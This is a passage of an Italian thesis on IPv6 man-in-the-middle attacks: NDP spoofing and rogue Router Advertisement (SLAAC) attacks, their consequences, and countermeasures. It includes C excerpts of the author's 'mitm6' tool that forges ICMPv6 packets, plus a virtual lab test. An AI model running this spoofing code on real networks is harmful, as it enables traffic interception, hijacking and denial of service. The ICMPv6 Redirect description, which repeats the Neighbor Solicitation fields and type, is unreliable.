frammenti sono andati persi). CAPITOLO 2. IPV6 25 • checksum (2 byte), impiegato per il controllo di errori. • unused (4 byte), campo vuoto e non utilizzato, settato a 0. • original datagram portion (variabile), parte del datagramma IPv6 che può essere adattato senza che la dimensione del messaggio ICMPv6 (includendo quello proprio dell’IP header) ecceda la minima MTU di 1280 byte. 2.5.1.4 Parameter Problem Rappresenta un messaggio di errore generico. Sostanzialmente indica che il dispositivo che sta processando il pacchetto ha incontrato un errore grave, quindi, è costretto a scartarlo. L’header è formato nel seguente modo: Figura 2.14: ICMPv6 Parameter Problem Message dove: • type (1 byte), rappresenta il tipo di messaggio, in questo caso è settato a 4. • code (1 byte), identifica il sottotipo di messaggio, ovvero il tipo di problema. • checksum (2 byte), utilizzato per il controllo di errori. • pointer (4 byte), contiene l’offset che punta alla posizione (in byte) del datagramma originale che ha causato l’errore. CAPITOLO 2. IPV6 26 • original datagram portion (variabile), parte del datagramma IPv6 che può essere adattato senza che la dimensione del messaggio ICMPv6 (includendo quello proprio dell’IP header) ecceda la minima MTU di 1280 byte. Codice 0 1 2 Messaggio Erroneous header field encountered Unrecognized next header type encountered Unrecognized IPv6 option encountered Descrizione Indica che un campo dell’header contiene un errore o non può essere processato Indica che il valore per il next header è sconosciuto Indica che è stata individuata un’opzione IPv6 sconosciuta Tabella 2.3: ICMPv6 Parameter Problem Message Subtypes 2.5.2 Messaggi informativi I messaggi appartenenti a questa sezione sono utilizzati per riportare informazioni riguardo a test di connettività della rete. 2.5.2.1 Echo Request e Echo Reply Questi due messaggi sono molto simili a quelli definiti dall’ICMPv4. Entrambi utilizzano lo stesso header: Figura 2.15: ICMPv6 Echo Request and Echo Reply message format dove: CAPITOLO 2. IPV6 27 • type (1 byte), rappresenta il tipo di messaggio. Il suo valore è settato a 128 per il messaggio Echo Request e a 129 per il messaggio Echo Reply. • code (1 byte), non utilizzato e impostato a 0. • checksum (2 byte), utilizzato per il controllo di errori. • identifier (2 byte), campo opzionale che può essere di aiuto nel confronto tra i messaggi Echo Request ed Echo Reply. • sequence number (2 byte), utilizzato nel confronto tra i messaggi Echo Request ed Echo Reply. • optional data (variabile), viene riempito con dati aggiuntivi. Se i dati vengono inseriti in un messaggio Echo Request, il contenuto del seguente campo viene ricopiato nel messaggio Echo Reply che viene re-inviato al mittente. CAPITOLO 2. IPV6 2.5.2.2 28 Router Advertisement Figura 2.16: ICMPv6 Router Advertisement Message dove: • type (1 byte), rappresenta il tipo di messaggio. Il suo valore è settato a 134. • code (1 byte), non utilizzato e impostato a 0. • checksum (2 byte), utilizzato per il controllo di errori. • current Hop Limit (1 byte), contiene il valore, raccomandato dal router (che invia il pacchetto), del campo Hop Limit presente nell’header IPv6. Se il valore del campo è pari a 0, il router non raccomanda alcun Hop Limit. • autoconfig flags (1 byte), con questo campo si informa l’host del modo in cui avviene l’autoconfigurazione nella rete locale. (Cfr. tabella sottostante) CAPITOLO 2. IPV6 29 • router lifetime (2 byte), indica all’host per quanto tempo il router deve essere considerato come default. Se settato a 0, significa che il router corrente non deve essere impiegato come default. • reachable time (4 byte), tempo massimo, in millisecondi, per cui un host dovrebbe considerare un host vicino come raggiungibile dopo aver ricevuto una conferma di raggiungibilità. • retrasmission timer (4 byte), quantità di tempo, in millisecondi, che un host dovrebbe attendere prima di ritrasmettere un messaggio di Neigbor Solicitation. • options (variabile), può contenere tre possibili opzioni: Source-LinkLayer Adress, MTU, Prefix Information. Nome Dimesione M 1 bit O 1 bit Reserved 6 bit Descrizione Managed Address Autoconfiguration Flag: se settato indica all’host di utilizzare un metodo stateful per l’autoconfigurazione (come il DHCP) Other Stateful Configuration Flag: se settato indica all’host di utilizzare un metodo stateful per l’autoconfigurazione dei parametri diversi dagli indirizzi Riservato per usi futuri Tabella 2.4: ICMPv6 Router Advertisement Message Autoconfiguration Flags CAPITOLO 2. IPV6 2.5.2.3 30 Router Solicitation Figura 2.17: ICMPv6 Router Solicitation Message dove: • type (1 byte), rappresenta il tipo di messaggio. Il suo valore è settato a 133. • code (1 byte), non utilizzato e impostato a 0. • checksum (2 byte), utilizzato per il controllo di errori. • reserved (4 byte), campo riservato e settato a 0. • options (variabile), può contenere l’opzione Source Link-Layer Address se l’host che invia il messaggio conosce il proprio indirizzo di livello 2. CAPITOLO 2. IPV6 2.5.2.4 31 Neighbor Advertisement Figura 2.18: ICMPv6 Neighbor Advertisement Message dove: • type (1 byte), rappresenta il tipo di messaggio. Il suo valore è settato a 136. • code (1 byte), non utilizzato e impostato a 0. • checksum (2 byte), utilizzato per il controllo di errori. • flags (4 byte), rappresentano informazioni sul messaggio. (Cfr. tabella sottostante) • target address (16 byte), se il messaggio Neighbor Advertisement è inviato in risposta ad un messaggio Neighbor Solicitation, questo campo contiene lo stesso valore contenuto nel campo target address del CAPITOLO 2. IPV6 32 Neighbor Solicitation. Altrimenti, se il messaggio Neighbor Advertisement viene inviato senza alcuna sollecitazione questo campo contiene l’indirizzo IPv6 del mittente. • options (variabile), può contenere l’opzione Source Link-Layer Address se l’host che invia il messaggio conosce il proprio indirizzo di livello 2. Nome Dimesione R 1 bit S 1 bit O 1 bit Reserved 29 bit Descrizione Router flag: settato quando il messaggio viene inviato da un router Solicited flag: se settato indica che il messaggio è inviato in risposta ad un Neighbor Solicitation Override flag: quando settato, indica che le informazioni presenti nel messaggio corrente devono sovrascrivere ogni indirizzo link-layer salvato Riservato per usi futuri Tabella 2.5: ICMPv6 Neighbor Advertisement Message Flags 2.5.2.5 Neighbor Solicitation Figura 2.19: ICMPv6 Neighbor Solicitation Message CAPITOLO 2. IPV6 33 dove: • type (1 byte), rappresenta il tipo di messaggio. Il suo valore è settato a 135. • code (1 byte), non utilizzato e impostato a 0. • checksum (2 byte), utilizzato per il controllo di errori. • riservato (4 byte), riservato per usi futuri e settato a 0. • target address (16 byte), indirizzo IPv6 dell’host da sollecitare. • options (variabile), se il mittente conosce sia il proprio indirizzo IPv6 che il proprio indirizzo di livello 2, dovrebbe includere quest’ultimo all’interno dell’opzione Source Link-Layer Address. CAPITOLO 2. IPV6 2.5.2.6 34 Redirect Figura 2.20: ICMPv6 Redirect Message dove: • type (1 byte), rappresenta il tipo di messaggio. Il suo valore è settato a 135. • code (1 byte), non utilizzato e impostato a 0. • checksum (2 byte), utilizzato per il controllo di errori. • riservato (4 byte), riservato per usi futuri e settato a 0. • target address (16 byte), indirizzo IPv6 dell’host da sollecitare. CAPITOLO 2. IPV6 35 • options (variabile), se il mittente conosce sia il proprio indirizzo IPv6 che il proprio indirizzo di livello 2, dovrebbe includere quest’ultimo all’interno dell’opzione Source Link-Layer Address. 2.6 Neighbor Discovery Protocol I’IPv6 Neighbor Discovery (ND) Protocol [5] è nato per sostituire il venerabile Address Resolution Protocol (ARP) in IPv4. L’ND Protocol è considerato un helper protocol per IPv6 e mette a disposizione tutte quelle funzioni che riguardano la comunicazione tra dispositivi all’interno della stessa rete locale. Per poter implementare le proprie funzioni, l’ND Protocol adopera i messaggi del protocollo ICMPv6. L’RFC 1970 ne specifica cinque: Router Advertisement, Router Solicitation, Neighbor Advertisement, Neighbor Solicitation e Redirect. 2.6.1 Funzionamento Lo standard dell’ND Protocol descrive nove funzioni. Per comprenderle meglio è possibile dividerle in tre gruppi: Host-Router Discovery Function, Host-Host Discovery Function e Redirect Function. 2.6.1.1 Host-Router Discovery Function Sono incluse tutte le funzioni per la scoperta del router locale e lo scambio di informazioni tra router e host. Si distinguono in: Router Discovery (RD) Rappresenta la funzione più rilevante di questo gruppo poiché è il metodo attraverso il quale gli host individuano il router nella rete locale. Prefix Discovery Gli host usano questa funzione al fine di determinare la rete in cui si trovano, per capire se utilizzare un inoltro diretto o indiretto (attraverso un gateway) dei datagrammi. CAPITOLO 2. IPV6 36 Parameter Discovery Attraverso questa funzione, un host acquisisce importanti parametri riguardo la rete locale e/o i router. (Viene impiegata, ad esempio, per conoscere l’MTU del link locale) Address Autoconfiguration Gli host, nelle reti IPv6, sono stati progettati per essere in grado di autoconfigurarsi. I router usano questa funzione per inviare agli host informazioni inerenti l’autoconfigurazione. 2.6.1.2 Host-Host Communication Function In questo gruppo sono presenti le funzioni per la comunicazione diretta tra i nodi della rete, generalmente host, ma alcune funzioni possono essere utilizzate nella comunicazione tra host e router. Da notare che non c’è alcuna relazione con RD. Sono individuabili le seguenti funzioni: Address Resolution Processo attraverso il quale un host determina l’indirizzo di livello 2 di un altro host, conoscendone solo l’indirizzo di livello 3, nella stessa rete locale. Questa operazione in IPv4 veniva effettuata dal protocollo ARP. Next-Hop Determination Funzione adoperata per determinare a quale dispositivo deve essere inoltrato il datagramma IP sulla base del suo indirizzo di destinazione. Neighbor Unreachability Detection Permette di stabilire se un dispositivo può essere contattato direttamente. Duplicate Address Detection Determina se un indirizzo che un dispositivo vorrebbe utilizzare già esiste nella rete locale. CAPITOLO 2. IPV6 2.6.1.3 37 Redirect Function É presente solamente la funzione di redirect. Essa permette ad un router di informare un host dell’esistenza di un next-hop node migliore per una particolare destinazione. Capitolo 3 Attacchi Man in The Middle 3.1 Introduzione In questo capitolo vengono illustrati gli attacchi di tipo Man in The Middle (o in forma acronima MiTM) per le reti IPv6. In particolare viene esposta la modalità con cui è estremamente facile attuare questa tipologia di attacchi, dirottando il traffico della comunicazione tra due host verso un terzo host, senza che questi vittima se ne accorga. Figura 3.1: Attacco “Man In The Middle” 38 CAPITOLO 3. ATTACCHI MAN IN THE MIDDLE 39 Come mostrato dalla figura, l’host attaccante riceve il traffico della comunicazione tra la vittima e il router. 3.2 3.2.1 Attacchi Man in The Middle NDP spoofing Quando un host deve inviare un pacchetto ad un secondo host della stessa rete locale, oltre all’indirizzo IP del destinatario, di cui già dispone, deve conoscere anche il suo indirizzo MAC. In accordo con quanto visto nel Capitolo 1, la procedura che si esegue per il conseguimento di tale obbiettivo rimanda al Neighbor Discovery Protocol. In particolare, l’host mittente invia a tutti gli host della rete locale un Neighbor Solicitation Message (NS) contenente l’indirizzo IP del destinatario (di cui si vuole conoscere l’indirizzo di livello 2). Il destinatario risponde con un Neighbor Advertisement Message (NA) riportante il proprio indirizzo di livello 2. Figura 3.2: Scambio messaggi NS ed NA CAPITOLO 3. ATTACCHI MAN IN THE MIDDLE 40 La vulnerabilità sfruttata da questa tecnica consiste nell’impossibilità di autenticare i messaggi ricevuti. Infatti, come si evince dalla figura riportata in seguito, l’attaccante si pone in ascolto dei messaggi NS, a cui risponde con un messaggio ND appositamente creato, divenendo tramite della comunicazione tra i due soggetti principali. Figura 3.3: Attacco NDP Spoofing CAPITOLO 3. ATTACCHI MAN IN THE MIDDLE 3.2.2 41 SLAAC attack SLAAC, acronimo di Stateless Address Autoconfiguration, è la tecnica con cui un host IPv6 si autoconfigura utilizzando una combinazione di informazioni localmente disponibili e informazioni trasmesse dai router. Nello specifico, un host che deve essere configurato invia un Router Solicitation Message (RS) all’indirizzo multicast FF02::2, su cui sono in ascolto tutti i router della rete locale. Ogni singolo router, con cadenza periodica o a ricezione avvenuta di un RS, invia un Router Advertisement Message (RA) contenente i parametri di configurazione. Figura 3.4: Scambio messaggi RS ed RA Dato che i messaggi RA non sono autenticati, possono essere generati da chiunque, con la conseguente possibilità di configurare a proprio piacimento tutti gli host della rete locale. CAPITOLO 3. ATTACCHI MAN IN THE MIDDLE 42 Figura 3.5: SLAAC Attack Ne segue che l’attaccante, nel caso in esame, giacché invia periodicamente tali messaggi, può settarsi come gateway di default su tutti gli host della rete locale. 3.3 Conseguenze Il risultato più importante cui si perviene applicando la tecnica Man in The Middle consiste sicuramente nella possibilità di modificare il flusso delle comunicazioni da parte dell’attaccante. Si riportano a seguire le tipologie di attacco che si possono condurre dopo aver attuato con successo un attacco Man in The Middle. 3.3.1 Hijacking L’Hijacking (dall’inglese ”hijack”, dirottare) è un attacco che permette di intercettare una connessione già stabilita tra due host e di prenderne possesso. Tale operazione non è affatto semplice da eseguire; basti pensare, a titolo di esempio, che, nel caso in cui si voglia impadronirsi di una connessione CAPITOLO 3. ATTACCHI MAN IN THE MIDDLE 43 TCP, bisognerebbe conoscere i numeri di sequenza corretti. Tuttavia, dato che i pacchetti della connessione passano attraverso l’host attaccante, risulta estremamente facile leggerli; quindi basterà inviare un RST (utilizzando i giusti numeri di sequenza) da un lato e sincronizzare la connessione dall’altro. 3.3.2 Injection L’Injecting (dall’inglese ”inject”, iniettare) è l’attacco più potente derivante da un Man in The Middle, attraverso il quale è possibile aggiungere alla connessione pacchetti, mantenendo la connessione sincronizzata e attiva tra le vittime. Nello specifico, si tratta di modificare i numeri di sequenza dei pacchetti TCP prima che questi vengano inoltrati all’host. Memorizzando i byte inviati dai due host, con semplici addizioni e sottrazioni si riesce, quindi, a mantenere la connessione sincronizzata. 3.3.3 Data tampering Il Data Tampering sfrutta le modalità tramite cui è possibile variare i numeri di sequenza dei pacchetti TCP per modificare il payload. 3.3.4 Sniffing Con lo Sniffing (dall’inglese ”sniff”, annusare) è possibile catturare i pacchetti destinati ad altri host, come accade negli attacchi Man in The Middle. L’host attaccante cattura tutti i pacchetti di interesse appartenenti alla comunicazione tra due o più host. 3.3.5 DoS Acronimo di Denial of Service (DoS), è un attaco informatico mediante il quale si cerca di negare un servizio. Nel caso specifico degli attacchi MiTM, disabilitando il “packet forwarding” si è in grado di indurre al collasso l’intera rete IPv6. CAPITOLO 3. ATTACCHI MAN IN THE MIDDLE 3.4 44 Contromisure Ad oggi si conoscono solamente due contromisure, il SEND e l’RA-Guard. 3.4.1 SEND Il Secure Neighbor Discovery Protocol (SEND) è un’estensione del Neighbor Discovery Protocol (NDP) ed è definito nella RFC 3971 [8]. L’NDP, del quale si è trattato in maniera dettagliata nel primo capitolo, è responsabile del discovery dei nodi nella rete locale, della determinazione dell’indirizzo di livello 2 degli altri nodi e dell’individuazione dei router presenti nella rete locale. Il SEND si pone l’intento di rafforzare la sicurezza dell’NDP mediante l’impiego della crittografia, in modo del tutto indipendente da IPSec. Tuttavia lo stesso, attualmente, non è ancora in uso giacché risulta molto complesso da gestire, rallenta notevolmente le performance della rete [3] e non è supportato da alcuno dei moderni sistemi operativi. Per maggiori dettagli riguardanti il SEND si rimanda alla RFC 3971 [8] 3.4.2 RA-Guard Il Router Advertisement Guard (RA-Guard) illustrato nella RFC 6105 [15] si pone lo scopo di risolvere il problema dell’invio dei “Rogue Router Advertisemet Message” RFC 6104 [14]. Per maggiori dettagli si rimanda alla RFC 6105 [15]. 3.4.2.1 RA-Guard evasion Nel Giugno del 2011 è stata presentata alla IETF una “Internet-Draft” [16] nella quale si evince che, mediante l’utilizzo degli extension header, si può evadere l’RA-GUARD. Capitolo 4 Implementazione: mitm6 4.1 Introduzione Allo scopo di testare e analizzare gli effetti determinati, su una rete IPv6, dall’applicazione delle due tipologie di attacchi viste in precedenza, si è provveduto alla concertazione e implementazione di un programma specifico, denominato mitm6. Scritto in linguaggio C, su OS Linux (perché open source e in grado di fornire un ambiente di sviluppo ottimale), rilasciato sotto licenza GPLv3, consta di 500 righe di codice ed è compatibile, al momento, solo con sistemi operativi analoghi. Nel capitolo in oggetto, vengono descritte le scelte e le modalità implementative di mitm6, nonché le particolarità esecutive di NDP Spoofing e SLAAC Attack. 4.2 4.2.1 Librerie utilizzate Pcap La libreria Pcap è impiegata per catturare i pacchetti che giungono su una determinata interfaccia di rete. Mette, inoltre, a disposizione un sistema di filtraggio dei pacchetti identico a quello di tcpdump. 45 CAPITOLO 4. IMPLEMENTAZIONE: MITM6 4.2.2 46 IPv6LIB Tale libreria è modellata sulla versione 1.8.0 di THC-IPv6 realizzata da Van Houser e facente parte del THC IPv6 Toolkit (http://www.thc.org/thcipv6/). Essa mette a disposizione le API per la creazione e l’invio di pacchetti IPv6. 4.3 Inizializzazione del programma Il codice demanda all’utente la possibilità di selezionare i diversi parametri opzionali e specificare l’unico flag obbligatorio (tipologia di attacco). # mitm6 --help USAGE: mitm6 [OPTIONS] [ATTACK] [OPTIONS] -h, --help print this help -v, --version print version -i, --iface <iface> network interface [ATTACK] ndp-spoof slaac [prefix len] A titolo di esempio, il comando mitm6 -i eth0 ndp-spoof specifica in eth0 l’interfaccia attraverso cui sniffare e catturare i pacchetti ICMPv6 e seleziona l’NDP Spoofing come attacco da eseguire. V’è da sottolineare che l’esecuzione richiede il lancio con permessi di root. All’avvio, mitm6 inizializza la libreria Pcap settando l’interfaccia tramite cui catturare i pacchetti. /* Open the device for capturing */ pcap = pcap_open_live(iface, cap_snaplen, promisc, cap_timeout, errbuf); if (pcap == NULL) { fatal(errbuf); exit(-1); } CAPITOLO 4. IMPLEMENTAZIONE: MITM6 47 Il passo successivo consiste nell’impostare il filtro in modo da sniffare solamente i pacchetti ICMPv6. /* Sniff only ICMPv6 packets */ if (pcap_compile(pcap, &fp, "icmp6", 0, PCAP_NETMASK_UNKNOWN) == -1) { fatal("couldn’t parse filter: %s", pcap_geterr(pcap)); pcap_close(pcap); return EXIT_FAILURE; } if (pcap_setfilter(pcap, &fp) == -1) { fatal("couldn’t install filter %s", pcap_geterr(pcap)); pcap_freecode(&fp); pcap_close(pcap); return EXIT_FAILURE; } Ultimate le impostazioni preliminari, viene lanciato l’attacco prescelto. if (strncmp(argv[optind], "ndp-spoof", 9) == 0) { mitm = 1; start_ndp_spoof(); } else if (strncmp(argv[optind], "slaac", 5) == 0) { mitm = 2; optind++; if (optind >= argc) { pcap_freecode(&fp); pcap_close(pcap); usage(); return EXIT_FAILURE; } start_slaac(atoi(argv[optind])); CAPITOLO 4. IMPLEMENTAZIONE: MITM6 48 } else { pcap_freecode(&fp); pcap_close(pcap); usage(); return EXIT_FAILURE; } 4.4 4.4.1 Implementazione degli attacchi NDP Spoofing L’implementazione dell’NDP Spoofing risulta essere un’operazione estremamente semplice. Dapprima si avvia lo sniffing: /* Start sniffing */ pcap_loop(pcap, 0, &proc, NULL); La funzione proc() viene richiamata per ogni messaggio ICMPv6 ricevuto e controlla che il pacchetto acquisito sia un ICMPv6 Neighbor Solicitation Message: if (buf[20] == NXT_ICMP6 && buf[54] == ICMP6_NEIGHBORSOL) { Successivamente crea il pacchetto di risposta, un ICMPv6 Neighbor Advertisement Message. packet = thc_create_ipv6(iface, PREFER_LINK, &buflen, buf + 62, buf + 22, 255, 0, 0, 0, 0); if (packet == NULL) { fatal("IPv6 packet not created"); return; } bzero(icmp_data, sizeof(icmp_data)); memcpy(icmp_data, buf + 62, 16); CAPITOLO 4. IMPLEMENTAZIONE: MITM6 49 icmp_data[16] = 2; icmp_data[17] = 1; memcpy(icmp_data + 18, mac, 6); if (thc_add_icmp6(packet, &buflen, ICMP6_NEIGHBORADV, 0, ICMP6_NEIGHBORADV_OVERRIDE | ICMP6_NEIGHBORADV_SOLICIT, icmp_data, sizeof(icmp_data), 0) < 0) { fatal("ICMPv6 header not appended"); return; } Chiamando con NS l’ICMPv6 Neighbor Solicitation Message ricevuto e con NA l’ICMPv6 Neighbor Advertisement Message che si vuole creare, quest’ultimo risulta avere la seguente configurazione: • NA.src = NS.target • NA.dst = NS.src • NA.target = NS.target Al messaggio NA viene, altresı̀, correlata l’opzione ICMPv6 Target LinkLayer con indirizzo mac quello proprio dell’attaccante. u_char *mac = thc_get_own_mac(iface); if (mac == NULL) fatal("unable to get own mac address for %s iface", iface); Infine, il messaggio RA viene inviato e ne viene liberata la memoria. thc_generate_and_send_pkt(iface, mac, buf + 6, packet, &buflen); packet = thc_destroy_packet(packet); CAPITOLO 4. IMPLEMENTAZIONE: MITM6 4.4.2 50 SLAAC Attack L’attacco in oggetto si articola in due fasi, consistenti, rispettivamente, nell’inviare un Router Advertisement Message ogni 5 secondi e nel rispondere ad ogni Router Solicitation Message ricevuto. Durante il primo stadio, viene creato il pacchetto da inoltrare ogni 5 secondi, inserendo in coda le seguenti opzioni ICMPv6: MTU Option, per la definizione di un valore da assegnare all’MTU, Prefix Information Option, per la specifica di informazioni sul prefix, Source Link-Layer Address Option, che contiene l’indirizzo di livello 2 del mittente. packet = thc_create_ipv6(iface, PREFER_LINK, &packet_len, ip, dst, 255, 0, 0, 0, 0); if (packet == NULL) { fatal("IPv6 packet not created"); return; } bzero(icmp_data, sizeof(icmp_data)); /* ICMPv6 RA data */ icmp_data[6] = 4; /* retrans timer */ /* Option MTU */ icmp_data[8] = 5; icmp_data[9] = 1; icmp_data[12] = mtu / 16777216; icmp_data[13] = (mtu % 16777216) / 65536; icmp_data[14] = (mtu % 65536) / 256; icmp_data[15] = mtu % 256; /* Option Prefix Information */ icmp_data[16] = 3; icmp_data[17] = 4; CAPITOLO 4. IMPLEMENTAZIONE: MITM6 51 icmp_data[18] = prefixlen; /* Prefix length */ icmp_data[19] = 128 + 64; memset(&icmp_data[20], 17, 4); memset(&icmp_data[24], 4, 4); memcpy(&icmp_data[32], ip, 16); /* Option Source Link-Layer Address */ icmp_data[48] = 1; icmp_data[49] = 1; memcpy(icmp_data + 50, mac, 6); if (thc_add_icmp6(packet, &packet_len, ICMP6_ROUTERADV, 0, 0xff080800, icmp_data, sizeof(icmp_data), 0) < 0) { fatal("ICMPv6 header not appended"); return; } if (thc_generate_pkt(iface, mac, dstmac, packet, &packet_len) < 0) { fatal("packet not generated"); return; } Il messaggio sopra riportato utilizza come, destinazione, l’indirizzo multicast FF02::1 u_char *dst = thc_resolve6("FF02::1"); u_char *dstmac = thc_get_multicast_mac(dst); e, come sorgente, l’indirizzo dell’attaccante mac = thc_get_own_mac(iface); ip = thc_get_own_ipv6(iface, NULL, PREFER_LINK); Il pacchetto, una volta generato, viene inviato ad intervalli temporali di 5 secondi. CAPITOLO 4. IMPLEMENTAZIONE: MITM6 52 printf("Starting to advertise (Press Control-C to end) ...\n"); while (work) { thc_send_pkt(iface, packet, &packet_len); while (pcap_dispatch(pcap, 1, &send_ra, NULL) > 0); sleep(5); } Nel secondo e ultimo stadio, per ogni Router Solicitation Message ricevuto, viene invocata la funzione send_ra(), la quale risponde tramite un Router Advertisement Message. packet = thc_create_ipv6(iface, PREFER_LINK, &packet_len, ip, dst, 255, 0, 0, 0, 0); if (packet == NULL) { fatal("IPv6 packet not created"); return; } if (thc_add_icmp6(packet, &packet_len, ICMP6_ROUTERADV, 0, 0xff080800, icmp_data, sizeof(icmp_data), 0) < 0) { fatal("ICMPv6 header not appended"); return; } thc_generate_and_send_pkt(iface, mac, dstmac, packet, &packet_len); packet = thc_destroy_packet(packet); Il messaggio di risposta risulta identico a quello creato nella fase antecedente a meno della destinazione: u_char *dst = (u_char *)bytes + 14 + 8; u_char *dstmac = (u_char *)bytes + 6; Capitolo 5 Implementazione ambiente di test 5.1 Introduzione La costruzione dell’ambiente di test è stata effettuata impiegando VirtualBox (www.virtualbox.org) in qualità di software di virtualizzazione per architettura x86. Quest’ultimo supporta Windows, GNU/Linux e Mac OS X come sistemi operativi host ed è in grado di eseguire Windows, GNU/Linux, OS/2 Warp, OpenBSD e FreeBSD come sistemi operativi guest. Sono stati condotti e analizzati (singolarmente e nel quadro d’insieme) diversi test per ciascuna delle tipologie di attacco descritte precedentemente. I grafici e le informazioni tecniche riportate nel capitolo in esame sono state ottenute mediante l’applicazione di Wireshark (www.wireshark.org), un software per analisi di protocollo. 5.2 Strutturazione dell’ambiente di test Nel caso specifico, VirtualBox emula il comportamento di due macchine guest (Router, HostA) montanti OS Debian. La macchina attaccante (host) è caratterizzata dal medesimo sistema operativo. 53 CAPITOLO 5. IMPLEMENTAZIONE AMBIENTE DI TEST 54 Figura 5.1: Ambiente di test Tutte e tre le macchine virtuali hanno una interfaccia di rete configurata in modalità bridge. Figura 5.2: Configurazione macchina virtuale CAPITOLO 5. IMPLEMENTAZIONE AMBIENTE DI TEST 55 Nel router sono stati installati: • radvd (Router Advertisement Daemon), un demone open source che implementa il link-local advertisement, usando il Neighbor Discovery Protocol (NDP), come definito nella RFC 2461 [5]. Configurazione: Interface eth0 { AdvSendAdvert on; prefix 2001:888:0db8:1::/64 { AdvOnLink; AdvAutonomous; }; }; • wide-dhcpv6s, un server DHCP per IPv6. Configurazione: option domain-name-servers 2001:470:20:2; option domain-name thesis.test; interface eth0 { address-pool pool1 3600; }; pool pool1 { range 2001:888:0db8:1::1000 to 2001:888:0db8:1::2000; }; Nella macchina HostA, invece, è stato installato wide-dhcpv6c, un client DHCP per IPv6. CAPITOLO 5. IMPLEMENTAZIONE AMBIENTE DI TEST 5.3 56 NDP Spoofing Una volta attivato il Router e la macchina HostA, occorre anzitutto svuotare la cache neighbor attraverso il comando ip neigh flush dev eth0. Definita questa azione preliminare, la comunicazione prende forma. L’HostA invia una serie di ping al Router. Giacché il primo non conosce l’indirizzo di livello 2 del secondo, invia un Neighbor Solicitation (a tutti i sistemi della rete); solo la macchina caratterizzata da quell’indirizzo IP (Router) risponde con un Neighbor Advertisement. In condizioni normali (ovvero con mitm6 disattivato) i pacchetti di Neighbor Solicitation e Neighbor Advertisement scambiati sono conformi allo standard e nella cache dell’HostA, risulta riportato l’indirizzo di livello 2 del Router. Figura 5.3: Cache senza attaco Se, invece, il programma viene attivato sulla macchina attaccante, il Neighbor Solicitation inviato dall’HostA è intercettato da mitm6, il quale risponde con un Neighbor Advertisement avente come indirizzo di livello 2 quello caratteristico del’attaccante, il medesimo che risulta presente, a questo punto, all’interno della cache di neighbor, in luogo di quello del Router. Figura 5.4: Pacchetti scambiati CAPITOLO 5. IMPLEMENTAZIONE AMBIENTE DI TEST 57 Figura 5.5: Flow graph Figura 5.6: Cache con attaco I messaggi tra HostA e Router vengono bypassati dall’attaccante. Bisogna, altresı̀, precisare che qualora non si abiliti l’IP Forwarding sulla macchina attaccante, la stessa effettua automaticamente un attacco DoS nella rete. L’attivazione dell’IP Forwarding si realizza mediante il comando: echo 1 > /proc/sys/net/ipv6/conf/all/forwarding CAPITOLO 5. IMPLEMENTAZIONE AMBIENTE DI TEST 5.4 58 SLAAC Attack Attivato, il Router inizia ad inoltrare Router Advertisement, a cadenza periodica. Una volta che la macchina HostA si è connessa alla rete, la medesima invia un Router Solicitation per sollecitare l’invio dei parametri di configurazione. Alla ricezione di tale messaggio, il Router risponde con un Router Advertisement contenente i parametri richiesti. Figura 5.7: Router Advertisement ricevuti Se, invece, sulla macchina attaccante viene attivato il programma (con il seguente comando mitm6 -i eth0 slaac 64), la stessa invia un Router Advertisement ad intervalli di 5 secondi (analogamente al Router) e alla ricezione di un Neighbor Solicitation. Figura 5.8: Router Advertisement inviati dall’attaccante Conseguentemente, nella tabella di routing dell’HostA, l’attacante risulta settato come gateway di defauilt. Figura 5.9: tabella di routing della vittima Capitolo 6 Conclusioni e sviluppi futuri Durante questo lavoro di tesi è stato affrontato il problema di sicurezza nelle reti IPv6, focalizzando l’attenzione sugli attacchi MiTM, in particolare NDP Spoofing e SLAAC Attack. Si è posta in evidenza la reale pericolosità di tali attacchi (derivante dall’impossibilità di autenticare i messaggi inviati dai sistemi della rete) e la totale assenza di un sistema di protezione. L’unica soluzione plausibile per fronteggiare quest’ultimo problema risiede nel SEND, ma questo, oltre a non essere ancora supportato da nessuno dei moderni sistemi operativi, in quanto non ancora implementato, incide negativamente sulle prestazioni della rete; basti pensare che per il processamento di un messaggio ICMPv6 che usi il SEND occorrono circa 76 ms a fronte degli 0,34 ms impiegati senza adoperare il SEND. Al fine di sperimentare la pericolosità dei suddetti attacchi e osservare i flussi di comunicazione tra gli elementi della rete interessata dalle minacce, è stato sviluppato mitm6. Tra le migliorie che potranno essere applicate al programma, al fine di conferire al medesimo una rispondenza ottimale alle problematiche che ha per oggetto, si annoverano l’implementazione dell’attacco in direzione opposta nell’NDP Spoofing e il porting per altri sistemi operativi. In futuro potranno, altresı̀, essere condotti nuovi test incentrati su altre tipologie di attacco, quali, a titolo d’esempio, ICMPv6 Redirect, DaD DoS e 59 CAPITOLO 6. CONCLUSIONI E SVILUPPI FUTURI 60 traslare le stesse su piattaforme basate su tecnologie “Mobile IPv6 (MIPv6)”. Appendice A GNU Free Documentation License Version 1.3, 3 November 2008 c 2000, 2001, 2002, 2007, 2008 Free Software Foundation, Inc. Copyright http://fsf.org/ Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The purpose of this License is to make a manual, textbook, or other functional and useful document “free” in the sense of freedom: to assure everyone the effective freedom to copy and redistribute it, with or without modifying it, either commercially or noncommercially. Secondarily, this License preserves for the author and publisher a way to get credit for their work, while not being considered responsible for modifications made by others. This License is a kind of “copyleft”, which means that derivative works of the document must themselves be free in the same sense. It complements the GNU General Public License, which is a copyleft license designed for free software. We have designed this License in order to use it for manuals for free software, because free software needs free documentation: a free program 61 APPENDICE A. GNU FREE DOCUMENTATION LICENSE 62 should come with manuals providing the same freedoms that the software does. But this License is not limited to software manuals; it can be used for any textual work, regardless of subject matter or whether it is published as a printed book. We recommend this License principally for works whose purpose is instruction or reference. A.1 Applicability and definitions This License applies to any manual or other work, in any medium, that contains a notice placed by the copyright holder saying it can be distributed under the terms of this License. Such a notice grants a world-wide, royaltyfree license, unlimited in duration, to use that work under the conditions stated herein. The “Document”, below, refers to any such manual or work. Any member of the public is a licensee, and is addressed as “you”. You accept the license if you copy, modify or distribute the work in a way requiring permission under copyright law. A “Modified Version” of the Document means any work containing the Document or a portion of it, either copied verbatim, or with modifications and/or translated into another language. A “Secondary Section” is a named appendix or a front-matter section of the Document that deals exclusively with the relationship of the publishers or authors of the Document to the Document’s overall subject (or to related matters) and contains nothing that could fall directly within that overall subject. (Thus, if the Document is in part a textbook of mathematics, a Secondary Section may not explain any mathematics.) The relationship could be a matter of historical connection with the subject or with related matters, or of legal, commercial, philosophical, ethical or political position regarding them. The “Invariant Sections” are certain Secondary Sections whose titles are designated, as being those of Invariant Sections, in the notice that says that the Document is released under this License. If a section does not fit the above definition of Secondary then it is not allowed to be designated APPENDICE A. 